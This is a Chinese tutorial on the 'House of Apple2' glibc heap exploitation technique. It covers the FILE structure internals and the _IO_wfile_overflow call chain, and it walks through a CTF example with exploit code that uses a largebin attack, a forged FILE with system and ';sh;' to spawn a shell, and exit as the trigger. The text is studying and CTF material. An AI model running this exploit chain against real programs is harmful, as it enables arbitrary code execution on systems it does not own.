house of apple2之_IO_wfile_overflow
字数 1900 2025-08-22 12:22:37

House of Apple2 之 _IO_wfile_overflow 利用技术详解

一、技术背景

House of Apple 系列是由安全研究员 roderick01 在 2022 年提出的一种针对 IO_FILE 结构的利用方法。该技术通过劫持 IO_FILE->wide_data 来控制程序执行流,相比传统 IO 利用方法具有更少的限制条件。

二、利用条件

要成功实施 House of Apple2 攻击,需要满足以下三个基本条件:

  1. 已知 heap 地址和 glibc 地址
  2. 能够控制程序执行 IO 操作(如从 main 函数返回、调用 exit 函数、通过 __malloc_assert 触发等)
  3. 能够控制 _IO_FILE 的 vtable 和 _wide_data(通常使用 largebin attack 实现)

三、关键结构体分析

1. _IO_FILE 结构体

struct _IO_FILE {
    int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    char* _IO_save_base;  /* Pointer to start of non-current get area. */
    char* _IO_backup_base; /* Pointer to first valid character of backup area */
    char* _IO_save_end;   /* Pointer to end of non-current get area. */
    struct _IO_marker* _markers;
    struct _IO_FILE* _chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t* _lock;
};

2. _IO_wide_data 结构体

struct _IO_wide_data {
    wchar_t* _IO_read_ptr;   /* Current read pointer */
    wchar_t* _IO_read_end;   /* End of get area. */
    wchar_t* _IO_read_base;  /* Start of putback+get area. */
    wchar_t* _IO_write_base; /* Start of put area. */
    wchar_t* _IO_write_ptr;  /* Current put pointer. */
    wchar_t* _IO_write_end;  /* End of put area. */
    wchar_t* _IO_buf_base;   /* Start of reserve area. */
    wchar_t* _IO_buf_end;    /* End of reserve area. */
    wchar_t* _IO_save_base;  /* Pointer to start of non-current get area. */
    wchar_t* _IO_backup_base; /* Pointer to first valid character of backup area */
    wchar_t* _IO_save_end;   /* Pointer to end of non-current get area. */
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t* _wide_vtable;
};

四、利用原理

1. 核心调用链

攻击的核心在于构造以下调用链:

_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE → *(fp->_wide_data->_wide_vtable + 0x68)(fp)

2. 关键函数分析

_IO_wdoallocbuf 函数

void _IO_wdoallocbuf(FILE *fp) {
    if (fp->_wide_data->_IO_buf_base)
        return;
    if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)  // _IO_WXXXX调用
            return;
    _IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}

触发条件:

  • fp->_wide_data->_IO_buf_base == 0
  • fp->_flags & _IO_UNBUFFERED == 0

_IO_WDOALLOCATE 宏

该宏展开后相当于:

(*(__typeof__(((struct _IO_FILE){})._wide_data)*)(((char*)((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data)))->_wide_vtable->__doallocate)(fp)

这个宏没有进行任何地址检查,直接通过虚表调用函数,这是利用的关键点。

_IO_wfile_overflow 函数

wint_t _IO_wfile_overflow(FILE *f, wint_t wch) {
    if (f->_flags & _IO_NO_WRITES) {
        f->_flags |= _IO_ERR_SEEN;
        __set_errno(EBADF);
        return WEOF;
    }
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) {
        if (f->_wide_data->_IO_write_base == 0) {
            _IO_wdoallocbuf(f);  // 关键调用点
        }
    }
}

触发条件:

  • f->_flags & _IO_NO_WRITES == 0
  • f->_flags & _IO_CURRENTLY_PUTTING == 0
  • f->_wide_data->_IO_write_base == 0

五、利用步骤

1. 构造伪造的 IO_FILE 结构

需要设置以下字段:

  • _flags: 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi 可设为 0;如需获取 shell 可设为 ";sh;"
  • vtable: 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),确保能调用到 _IO_wfile_overflow
  • _wide_data: 设置为可控堆地址 A (*(fp + 0xa0) = A)
  • _wide_data->_IO_write_base: 设置为 0 (*(A + 0x18) = 0)
  • _wide_data->_IO_buf_base: 设置为 0 (*(A + 0x30) = 0)
  • _wide_data->_wide_vtable: 设置为可控堆地址 B (*(A + 0xe0) = B)
  • _wide_data->_wide_vtable->doallocate: 设置为目标函数地址 C (*(B + 0x68) = C)

2. 触发路径

通过以下方式之一触发 IO 操作:

  • 从 main 函数返回
  • 调用 exit 函数
  • 通过 __malloc_assert 触发

六、例题分析

1. 程序功能

程序提供以下功能:

  1. 添加 chunk (malloc)
  2. 删除 chunk (free)
  3. 编辑 chunk
  4. 显示 chunk 内容
  5. 退出 (exit)

2. 利用步骤

步骤 1: 泄露堆和 libc 地址

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)
# 计算 libc 基址
edit(2, '\x00')
show(0)
# 计算堆基址

步骤 2: 实施 largebin attack

add(0, 0x418)
edit(2, p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)  # 触发 largebin attack

步骤 3: 构造伪造的 IO_FILE 结构

file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base
fake_io += p64(0)  # _IO_buf_end
fake_io += p64(0)*4  # _IO_save_base to _markers
fake_io += p64(0)  # _chain
fake_io += p32(2)  # _fileno
fake_io += p32(0)  # _flags2
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"   # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset
fake_io += p64(0)  # _codecvt
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data
fake_io += p64(0)*3  # _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode
fake_io += b"\x00"*19  # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps'])  # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])
edit(2, fake_io)
edit(1, p64(0)*2 + b';sh;')  # 修改 flags

步骤 4: 触发利用

io.sendafter("choice:", "5")  # 调用 exit 触发

七、关键点总结

  1. largebin attack:用于修改 _IO_list_all 指针,使其指向伪造的 IO_FILE 结构
  2. 结构体伪造:精心构造 IO_FILE 和 _IO_wide_data 结构,满足调用条件
  3. 虚表劫持:通过控制 _wide_vtable 和其 doallocate 函数指针实现 ROP 或直接执行系统命令
  4. 触发路径:通过 exit 或类似函数触发 IO 刷新操作

八、防御措施

  1. 及时更新 glibc 版本
  2. 启用更严格的内存保护机制(如 Full RELRO)
  3. 对用户输入进行严格验证
  4. 避免在关键函数中使用不安全的 IO 操作

通过理解 House of Apple2 的攻击原理和实现方式,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 等竞赛中灵活运用这种技术。

House of Apple2 之 _ IO_ wfile_ overflow 利用技术详解 一、技术背景 House of Apple 系列是由安全研究员 roderick01 在 2022 年提出的一种针对 IO_ FILE 结构的利用方法。该技术通过劫持 IO_FILE->wide_data 来控制程序执行流,相比传统 IO 利用方法具有更少的限制条件。 二、利用条件 要成功实施 House of Apple2 攻击,需要满足以下三个基本条件: 已知 heap 地址和 glibc 地址 能够控制程序执行 IO 操作(如从 main 函数返回、调用 exit 函数、通过 __malloc_assert 触发等) 能够控制 _IO_FILE 的 vtable 和 _wide_data (通常使用 largebin attack 实现) 三、关键结构体分析 1. _ IO_ FILE 结构体 2. _ IO_ wide_ data 结构体 四、利用原理 1. 核心调用链 攻击的核心在于构造以下调用链: 2. 关键函数分析 _ IO_ wdoallocbuf 函数 触发条件: fp->_wide_data->_IO_buf_base == 0 fp->_flags & _IO_UNBUFFERED == 0 _ IO_ WDOALLOCATE 宏 该宏展开后相当于: 这个宏没有进行任何地址检查,直接通过虚表调用函数,这是利用的关键点。 _ IO_ wfile_ overflow 函数 触发条件: f->_flags & _IO_NO_WRITES == 0 f->_flags & _IO_CURRENTLY_PUTTING == 0 f->_wide_data->_IO_write_base == 0 五、利用步骤 1. 构造伪造的 IO_ FILE 结构 需要设置以下字段: _flags : 设置为 ~(2 | 0x8 | 0x800) ,如果不需要控制 rdi 可设为 0;如需获取 shell 可设为 ";sh;" vtable : 设置为 _IO_wfile_jumps / _IO_wfile_jumps_mmap / _IO_wfile_jumps_maybe_mmap 地址(加减偏移),确保能调用到 _IO_wfile_overflow _wide_data : 设置为可控堆地址 A ( *(fp + 0xa0) = A ) _wide_data->_IO_write_base : 设置为 0 ( *(A + 0x18) = 0 ) _wide_data->_IO_buf_base : 设置为 0 ( *(A + 0x30) = 0 ) _wide_data->_wide_vtable : 设置为可控堆地址 B ( *(A + 0xe0) = B ) _wide_data->_wide_vtable->doallocate : 设置为目标函数地址 C ( *(B + 0x68) = C ) 2. 触发路径 通过以下方式之一触发 IO 操作: 从 main 函数返回 调用 exit 函数 通过 __malloc_assert 触发 六、例题分析 1. 程序功能 程序提供以下功能: 添加 chunk (malloc) 删除 chunk (free) 编辑 chunk 显示 chunk 内容 退出 (exit) 2. 利用步骤 步骤 1: 泄露堆和 libc 地址 步骤 2: 实施 largebin attack 步骤 3: 构造伪造的 IO_ FILE 结构 步骤 4: 触发利用 七、关键点总结 largebin attack :用于修改 _IO_list_all 指针,使其指向伪造的 IO_ FILE 结构 结构体伪造 :精心构造 IO_ FILE 和 _ IO_ wide_ data 结构,满足调用条件 虚表劫持 :通过控制 _wide_vtable 和其 doallocate 函数指针实现 ROP 或直接执行系统命令 触发路径 :通过 exit 或类似函数触发 IO 刷新操作 八、防御措施 及时更新 glibc 版本 启用更严格的内存保护机制(如 Full RELRO) 对用户输入进行严格验证 避免在关键函数中使用不安全的 IO 操作 通过理解 House of Apple2 的攻击原理和实现方式,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 等竞赛中灵活运用这种技术。